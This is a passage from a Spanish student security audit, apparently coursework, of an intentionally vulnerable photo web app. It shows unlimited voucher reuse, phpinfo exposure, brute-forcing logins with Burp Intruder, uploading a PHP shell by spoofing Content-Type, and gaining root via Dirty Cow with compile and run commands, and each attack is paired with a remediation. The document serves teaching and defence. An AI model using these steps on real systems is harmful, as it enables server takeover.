Comprobación de que la web está funcionando bajo HTTPS

Como se ve en la imagen, ahora estamos navegando de manera segura usando un protocolo de encriptación. El candado característico de Firefox aparece cerrado y verde. Por otra parte, volvemos a recrear el ataque MiTM y comprobamos que en este caso, la comunicación está encriptada y no se puede entender nada. La captura corresponde al proceso de login de un usuario normal. Puesto que ahora, toda la página es navegable a través de HTTPS esto es extensible a la página de login para administradores también.

37

Podemos observar, con Wireshark la conversación SSL.

2.7 Aplicación de voucher de descuento ilimitada Una navegación simple por la página nos lleva a un calendario en el que se muestran próximas fechas con decuentos especiales. Estos códigos de descuento están visibles desde hoy no son validados en fecha. Es más, el código de descuento no varía independientemente del mes y el día

38

en el que nos fijemos. Esto nos lleva a probar qué ocurrirá si realizamos la aplicación de múltiples vouchers para un mismo producto o en este caso, la aplicación, un número ‘n’ de veces del mismo código de descuento sobre el mismo producto.

Como se observa en la imagen, no sólo es indiferente en qué día apliquemos los cupones de descuento, sino que además, no importa el número de veces que agreguemos el código de descuento.

Finalmente vemos que conseguimos un 60% de descuento en la compra tras haber aplicado 6 veces el mismo código de descuento. Con lo que nuestro producto con un precio inicial de 40 Tradebux ha caído hasta los 19.131 Tradebux. Una buena idea para solucionar este problema sería cerciorarse de que sólo se pueda aplicar un voucher por artículo, que la generación del código sea aleatoria y válida únicamente para un usuario y que incluya, de alguna manera, una referencia a la fecha en la que se pueda aplicar. 2.7.1 Solución. Para solventar este problema existen multitud de soluciones diferentes. Personalmente optaría por generar los códigos exclusivamente en la fecha prevista y no con anterioridad. Además, durante la generación del código, de igual manera que en las cookies, asignar identificadores de usuario,

39

identificador de cupón (que no aumente de manera incremental, sino a través de alguna función ‘random’) para que no puedan ser repetidos y alguna marca de tiempo que no permita el uso del código fuera de la fecha X. El cupón podría ser, por ejemplo, una concatenación de estas condiciones. Iduser+idcupon+timemark. (scanner134jgiHj20180307) Al validar el código promocional se deberá comprobar la id del cupón y que ésta no se repita. Este cupón además, deberá llevar una identificación validada previamente por el gestor de cupones. Así pues identificamos el cupón de descuento por el usuario (y comprobamos que el cupón se ha generado exclusivamente para este usuario), por el número de cupón (que será complicado de copiar o adivinar) y por la marca de tiempo en la que fue generado, que limitará la aplicación del mismo. 2.8 Archivo de información PHP. phpinfo() disclosure. Tras un breve escaneo con UNISCAN obtenemos la dirección relativa al fichero de configuración php del que podremos averiguar mucha información del servidor. Este fichero se encuentra en /include/test.php

Revisamos el archivo .log que genera el programa y observamos los resultados del escaneo de Uniscan. A parte de otros posibles errores de diseño, indica que ha encontrado el archivo phpinfo() propiedad de www-data.

40

Navegamos hasta la ruta /include/test.php y comprobamos que obtenemos la información del servidor php.

41

2.8.1 Solución Bastará con modificar el archivo php.ini en /etc/php5/apache2/ y alterar su contenido con:

Disable_functions: phpinfo

42

Esto deshabilitará el phpinfo() del servidor apache.

43

2.9 Debilidad de las contraseñas En el trabajo final del módulo 2, Hacking Ético hice uso de hydra para resolver el ejercicio de Brute Force de la aplicación DVWA. Esta vez usaré Burp Suite Community por variar las herramientas a utilizar.

Para realizar un ataque de fuerza bruta en una página web usando Burp Suite nos valdremos de la herramienta Intruder. Donde configuraremos los parámetros de las páginas que interceptemos con el proxy. Añadimos la página al intruder haciendo uso del menú contextual. En el intruder deberemos configurar las opciones, el tipo de ataque será un Cluster Bomb. Para ello observamos en la pestaña positions los valores que deseamos averiguar. Borraremos con el botón CLEAR la configuracion recomendada por el programa y seleccionando el texto relativo al nombre de usuario y a la contraseña, contraseña y clickando en ADD crearemos los payloads. En la pestaña de Payloads deberemos configurar cada uno de los payloads. El primero será el relativo a la variable adminname y el segundo será password.

44

Introduciremos los posibles valores que la variable puede tomar (a mano o cargándolos de una lista) y pulsamos el botón de Start Attack y aparece una ventana emergente en la que vemos el proceso de prueba y los resultados obtenidos.

En la imagen vemos que la combinación admin:admin nos da un status 303 y una longitud de respuesta diferente a la mayoría, esto es un indicador de que la combinación probada es correcta.

45

2.9.1 Solución Una buena política de contraseñas es básica para cualquier elemento dentro de la informática, una contraseña robusta dificulta sensiblemente el acceso por parte de un atacante a cualquier recurso. Por ello se establecen una serie de normas de cumplimiento obligatorio a la hora de establecer contraseñas.

● Longitud nunca menor a 8 caracteres. ● La contraseña debe contener mayúsculas, minúsculas, números y caracteres especiales. ● Las contraseñas deberán actualizarse de manera regular cada X tiempo de manera que,

aunque un atacante pudiera intentar vulnerar la web mediante brute-forcing a nuestro servidor, el tiempo que le dedicase a encontrar la contraseña sería mayor que el que pase de actualización de contraseña a nueva contraseña. Por eso la complejidad requerida en la contraseña, generar una cadena lo suficientemente robusta para que lleve demasiado tiempo el averiguarla por medio de la fuerza bruta.

Para esto, es necesario obligar al usuario a que introduzca una contraseña que cumpla nuestros requisitos, esto se logra modificando el código de la página users/register.php donde deberemos tener control de la longitud y los caracteres que incluya la contraseña creada por el usuario.

2.10 Remote File Upload. La página investigada ha demostrado numerosas vulnerabilidades en su diseño y siendo una web de fotografía, se debería tener especial cuidado con el contenido de las imágenes que los usuarios puedan subir. Para ello deberán establecerse contenidos MIME válidos y ciertas restricciones, como de tamaño de archivo, tipo de extensión,... Usando Burp Suite observamos la conversación entre los equipos en el proceso de subir una imagen y comprobamos que, efectivamente, tenemos un parámetro para el tamaño máximo de fichero, otro para el tipo MIME y posteriormente se añade el fichero. Si alguno de los campos no es correcto la imagen no se puede subir. Sin embargo, usando el Intercepter de Burp podemos alterar la información que enviamos al servidor.

46

Así que probaremos a subir una shell PHP para ganar control sobre el servidor. Estableceremos en los campos del formulario un nombre con extensión php, un ‘tag’ que en nuestro caso será shell2 y que determinará la carpeta en la que se subirá nuestro contenido. De esta manera sustituimos el contenido original de la petición HTTP y cambiamos el contenido de “Content-Type” por “image/jpeg” y añadimos un buen número de ceros en el tamaño máximo del fichero a subir, así aseguramos que el servidor no lo rechace. El proceso es satisfactorio, de hecho, comprobamos que funcione con otras páginas maliciosas del estilo.

47

Comprobamos que las distintas shells que hemos logrado subir al servidor se pueden acceder desde nuestro navegador. Una vez tenemos una Shell en el servidor las posibilidades de causar daño en la estructura de la aplicación son altísimas. Desde el manejo de la base de datos hasta la creación y ejecución de diferentes programas.

48

2.10.1 Solución

Podríamos establecer un tipo de seguridad en base a la extensión del archivo subido, de tal manera que sólo permitamos aquellos que sean JPEG, jpeg, JPG, jpg,.. y obviando a todos aquellos que no lo sean. Consistiría en crear una condición que compruebe el texto a partir del primer punto del nombre del fichero, que se almacena en $name.

$uploaded_ext = substr($name, strrpos($name, '.') + 1);

Y almacenaremos el tamaño del archive en otra variable, $uploaded_size, tal que:

$uploaded_size = $_FILES[‘userfile’][’size’];

Entonces, creamos la condición que permitirá subir, o no, el fichero. if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){

(…)

}

Else{ (…)

}

Además, deberemos establecer la variable X-Content-Type-Options a ‘nosniff’ para ello podremos cambiar la configuración de Apache2.

49

2.11 Obteniendo el control del servidor. Que un usuario sea capaz de subir una shell php a nuestro servidor es muy peligroso, estas aplicaciones permiten tener el control de muchas de las opciones del servidor además de que algunas están preparadas para crear conexiones en el servidor que posteriormente podremos escuchar con netcat. Otra de las ideas que he abordado ha sido la generación de un archivo malicioso con msfvenom que abra una conexión con meterpreter. Sin embargo, la explotación del CVE-2016-5195, más conocido como “Dirty Cow” me ha parecido un buen procedimiento, por ser relativamente ‘nuevo’ y porque he presupuesto que el servidor Linux que tenemos montado en VirtualBox, que es un sistema anticuado y sin actualizar, será vulnerable a esta escalación de privilegios. Por ello acudimos a la página oficial del Dirty Cow (https://dirtycow.ninja/ ) Donde tendremos un buen número de PoC’s para diferentes situaciones en las que podemos intentar explotar el Dirty Cow. https://github.com/FireFart/dirtycow/blob/master/dirty.c Es un ejecutable que hay que compilar con gcc y que se vale del fichero /etc/passwd al que el usuario tiene acceso. Valiéndonos de una Shell subiremos nuestro ejecutable .c al servidor donde lo compilaremos usando: gcc -pthread dirty.c -o dirty –lcrypt Esto crea una carpeta dirty en el directorio donde estemos trabajando, ejecutamos el exploit mediante: ./dirty

50

Si el DirtyCow tiene éxito nos pedirá una nueva contraseña, la introducimos y esperamos a que el script termine.

51

Nos indica que debemos reiniciar la máquina para que los cambios tengan efecto. Como también he realizado más pruebas, me parece interesante exponer los resultados de otra escalación de privilegios utilizando DirtyCow. En este caso, también se explota la vulnerabilidad CVE-2016-5195 con un exploit en C que podemos descargar de: https://github.com/gbonacini/CVE-2016-5195.git Tras compilarlo usando make y teniendo g++ instalado en el sistema bastará con ejecutarlo mediante: ./dcow

52

El resultado de este ataque es que la contraseña de root para el servidor ha sido cambiada a “dirtyCowFun”. Comprobamos el correcto funcionamiento haciendo un $su e introduciendo la contraseña modificada.

Accedemos con la cuenta de root. Ahora podemos controlar completamente el equipo. El creador recomienda utilizar esta herramienta con el parámetro –s que ejecuta automáticamente una Shell.

2.12 Recomendaciones de Buenas Prácticas a implementar. Especialmente crítico es que nuestro servidor esté desactualizado, esto aumenta el riesgo a sufrir un ataque de algún tipo de vulnerabilidad conocida. La robustez de las contraseñas, la complejidad exigida para las mismas, es sólo una parte de la seguridad en los accesos. Se recomienda que esta contraseña deba ser actualizada cada X tiempo para aquellas aplicaciones especialmente críticas. Quizás este no sea el caso, aunque adoptar esta política para el acceso a administradores se ve algo pertinente. Una correcta política de contraseñas evitará que el atacante tenga tiempo suficiente para descubrir nuestra contraseña mediante la fuerza bruta. También podremos evitar que el servidor muestre la versión del software que está corriendo, esto hará que los ataques sean algo más complicados ya que no ofrecen información sobre el sistema, algo que permite esconderse de algunos exploits. Para ello bastará con añadir las líneas al fichero de configuración apache2.conf: ServerSignature Off

ServerTokens Prod

53

Otra buena idea es el evitar las peticiones excesivamente grandes, para esto podremos establecer: LimitRequestBody 1048576

Asegurarse de que únicamente el usuario root tiene acceso a los archivos de configuración de apache: Chown –R root:root /etc/apache2

Chroot –R o-rwx /etc/apache2

Como recomiendan las herramientas automáticas de escaneo, a la hora de generar las Cookies es importante tener una serie de cosas en cuenta, por ejemplo el no almacenar información sensible del usuario en la misma o el correcto uso de cabeceras que aseguren la cookie como el SecureFlag y el HTTP-Only. Por último, para evitar el posible Local File Inclusion en las páginas /admin/index.php?page= lo recomendado es actualizar la versión de php y comprobar y sanitizar la entrada de texto para evitar que el usuario se “salga” de una whitelist diseñada por el programador. También es recomendable establecer los siguientes parámetros en Off: allow_url_fopen=Off

allow_url_include=Off

3 Conclusiones Evidentemente las conclusiones a extraer de este ejercicio son que la aplicación web es muy insegura y tiene multitud de fallas en su diseño y digo que es evidente porque la web está pensada para que las tenga. No obstante, la realización de este ejercicio permite al estudiante tomar consciencia de cómo de crítico es un diseño adecuado en nuestras aplicaciones y que estos errores pueden revertir en serios compromisos de seguridad como perder el control del servidor por no llevar una correcta política de actualizaciones o recibir un ataque de Denegación de Servicio mediante un defacement por un XSS en los comentarios de nuestra web. Si no tenemos en cuenta el origen de las páginas a las que se puede hacer referencia podría conllevar casos como el expuesto en el que la cookie de sesión del usuario puede ser sustraída y si no empleamos los protocolos seguros, las credenciales de los usuarios pueden ser usurpadas con lo que ello pueda suponer. Además refuerza el conocimiento en técnicas de intrusión en aplicaciones web y el uso de herramientas para la auditoría de un sitio en particular.

54